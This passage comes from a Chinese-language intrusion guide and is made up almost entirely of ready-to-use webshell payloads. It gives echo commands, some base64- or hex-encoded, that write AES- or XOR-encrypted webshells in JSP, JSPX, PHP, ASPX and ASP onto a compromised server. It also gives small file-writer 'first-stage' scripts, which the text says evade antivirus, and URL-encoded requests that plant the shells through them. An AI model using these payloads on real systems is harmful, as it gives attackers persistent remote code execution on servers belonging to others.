3113 | echo ' class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);' > 111.jspx
3114 | ```
3115 |
3116 | **(3)php**
3117 |
3118 | ```
3119 | echo -e ' ' > 111.php
3120 | ```
3121 |
3122 | **(4)aspx**
3123 |
3124 | ```
3125 | echo '<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>' > 111.aspx
3126 | ```
3127 |
3128 | **(5)asp**
3129 |
3130 | ```
3131 | echo -e '<%\nResponse.CharSet = "UTF-8" \nk="e45e329feb5d925b" \nSession("k")=k\nsize=Request.TotalBytes\ncontent=Request.BinaryRead(size)\nFor i=1 To size\nresult=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))\nNext\nexecute(result)\n%>' > 111.asp
3132 | ```
3133 |
3134 | **Linux**
3135 |
3136 | 和windows不同,linux在途中就已经转换完毕,落地文件已经成为shell。大部分玩家都是懒得转义shell中的字符,而使用下面的方法。主要也是分base64以及hex两种。
3137 |
3138 | **(1)jsp**
3139 |
3140 | ```
3141 | echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= |base64 -d > 111.jsp
3142 |
3143 | echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e|xxd -r -ps > 111.jsp
3144 | ```
3145 |
3146 | **(2)jspx**
3147 |
3148 | ```
3149 | echo PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5TdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7PC9qc3A6c2NyaXB0bGV0PjwvanNwOnJvb3Q+|base64 -d > 111.jsp
3150 |
3151 | echo 3c6a73703a726f6f7420786d6c6e733a6a73703d22687474703a2f2f6a6176612e73756e2e636f6d2f4a53502f50616765222076657273696f6e3d22312e32223e3c6a73703a6469726563746976652e7061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a222f3e3c6a73703a6465636c61726174696f6e3e20636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d3c2f6a73703a6465636c61726174696f6e3e3c6a73703a7363726970746c65743e537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563282873657373696f6e2e67657456616c756528227522292b2222292e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b3c2f6a73703a7363726970746c65743e3c2f6a73703a726f6f743e|xxd -r -ps > 111.jspx
3152 | ```
3153 |
3154 | **(3)php**
3155 |
3156 | ```
3157 | echo PD9waHAgQGVycm9yX3JlcG9ydGluZygwKTtzZXNzaW9uX3N0YXJ0KCk7JGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7JF9TRVNTSU9OWydrJ109JGtleTtzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7JHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7aWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSl7JHQ9ImJhc2U2NF8iLiJkZWNvZGUiOyRwb3N0PSR0KCRwb3N0LiIiKTtmb3IoJGk9MDskaTxzdHJsZW4oJHBvc3QpOyRpKyspIHskcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgfX1lbHNleyRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpO30kYXJyPWV4cGxvZGUoJ3wnLCRwb3N0KTskZnVuYz0kYXJyWzBdOyRwYXJhbXM9JGFyclsxXTtjbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319QGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Pz4K|base64 -d > 111.php
3158 |
3159 | echo 3c3f70687020406572726f725f7265706f7274696e672830293b73657373696f6e5f737461727428293b246b65793d2265343565333239666562356439323562223b245f53455353494f4e5b276b275d3d246b65793b73657373696f6e5f77726974655f636c6f736528293b24706f73743d66696c655f6765745f636f6e74656e747328227068703a2f2f696e70757422293b69662821657874656e73696f6e5f6c6f6164656428276f70656e73736c2729297b24743d226261736536345f222e226465636f6465223b24706f73743d24742824706f73742e2222293b666f722824693d303b24693c7374726c656e2824706f7374293b24692b2b29207b24706f73745b24695d203d2024706f73745b24695d5e246b65795b24692b312631355d3b207d7d656c73657b24706f73743d6f70656e73736c5f646563727970742824706f73742c2022414553313238222c20246b6579293b7d246172723d6578706c6f646528277c272c24706f7374293b2466756e633d246172725b305d3b24706172616d733d246172725b315d3b636c61737320437b7075626c69632066756e6374696f6e205f5f696e766f6b6528247029207b6576616c2824702e2222293b7d7d4063616c6c5f757365725f66756e63286e6577204328292c24706172616d73293b3f3ea|xxd -r -ps > 111.php
3160 | ```
3161 |
3162 | **(4)aspx**
3163 |
3164 | ```
3165 | echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiAlPjwlQEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5SZWZsZWN0aW9uIiU+PCVTZXNzaW9uLkFkZCgiayIsImU0NWUzMjlmZWI1ZDkyNWIiKTtieXRlW10gayA9IEVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoU2Vzc2lvblswXSArICIiKSxjID0gUmVxdWVzdC5CaW5hcnlSZWFkKFJlcXVlc3QuQ29udGVudExlbmd0aCk7QXNzZW1ibHkuTG9hZChuZXcgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5SaWpuZGFlbE1hbmFnZWQoKS5DcmVhdGVEZWNyeXB0b3IoaywgaykuVHJhbnNmb3JtRmluYWxCbG9jayhjLCAwLCBjLkxlbmd0aCkpLkNyZWF0ZUluc3RhbmNlKCJVIikuRXF1YWxzKHRoaXMpOyU+|base64 -d > 111.aspx
3166 |
3167 | echo 3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e|xxd -r -ps > 111.aspx
3168 | ```
3169 |
3170 | **(5)asp**
3171 |
3172 | ```
3173 | echo PCUKUmVzcG9uc2UuQ2hhclNldCA9ICJVVEYtOCIgCms9ImU0NWUzMjlmZWI1ZDkyNWIiClNlc3Npb24oImsiKT1rCnNpemU9UmVxdWVzdC5Ub3RhbEJ5dGVzCmNvbnRlbnQ9UmVxdWVzdC5CaW5hcnlSZWFkKHNpemUpCkZvciBpPTEgVG8gc2l6ZQpyZXN1bHQ9cmVzdWx0JkNocihhc2NiKG1pZGIoY29udGVudCxpLDEpKSBYb3IgQXNjKE1pZChrLChpIGFuZCAxNSkrMSwxKSkpCk5leHQKZXhlY3V0ZShyZXN1bHQpCiU+|base64 -d > 111.asp
3174 | ```
3175 |
3176 |
3177 |
3178 | ### 二次法
3179 |
3180 | 对于二次法,就是先传一个文件上传的小“shell”,然后通过指定方式进行上传其他文件。有一个好处就是,它本身不是木马病毒,就是一个写入文件的功能脚本,所以一般杀毒不会杀,这样我们就可以随意上传了。
3181 |
3182 | **(a)JSP**
3183 |
3184 | GET类型
3185 |
3186 | **(1)god.jsp内容 (先遣部队)**
3187 |
3188 | ```
3189 | <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
3190 | ```
3191 |
3192 | **(2)写jsp shell**
3193 |
3194 | get类型写shell需要注意url编码。
3195 |
3196 | ```
3197 | http://ip/god.jsp?f=111.jsp&t=<%25@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%25><%25!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%25><%25if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%25>
3198 | ```
3199 |
3200 | **(3)写jspx shell**
3201 |
3202 | ```
3203 | http://ip/god.jsp?f=111.jspx&t= class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")%2B"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
3204 | ```
3205 |
3206 | POST类型
3207 |
3208 | ```
3209 | <%@ page language=”java” pageEncoding=”gbk”%>
3210 |
3211 |
3212 |
3213 |
3214 |
3215 |
3216 | <% int i=0;String method=request.getParameter(“act”);if(method!=null&&method.equals(“yoco”)){String url=request.getParameter(“url”);String text=request.getParameter(“smart”);File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
3217 | error
3218 | <%}}if(i==0){%>
3219 | ok
3220 | <%}%>
3221 |
3222 |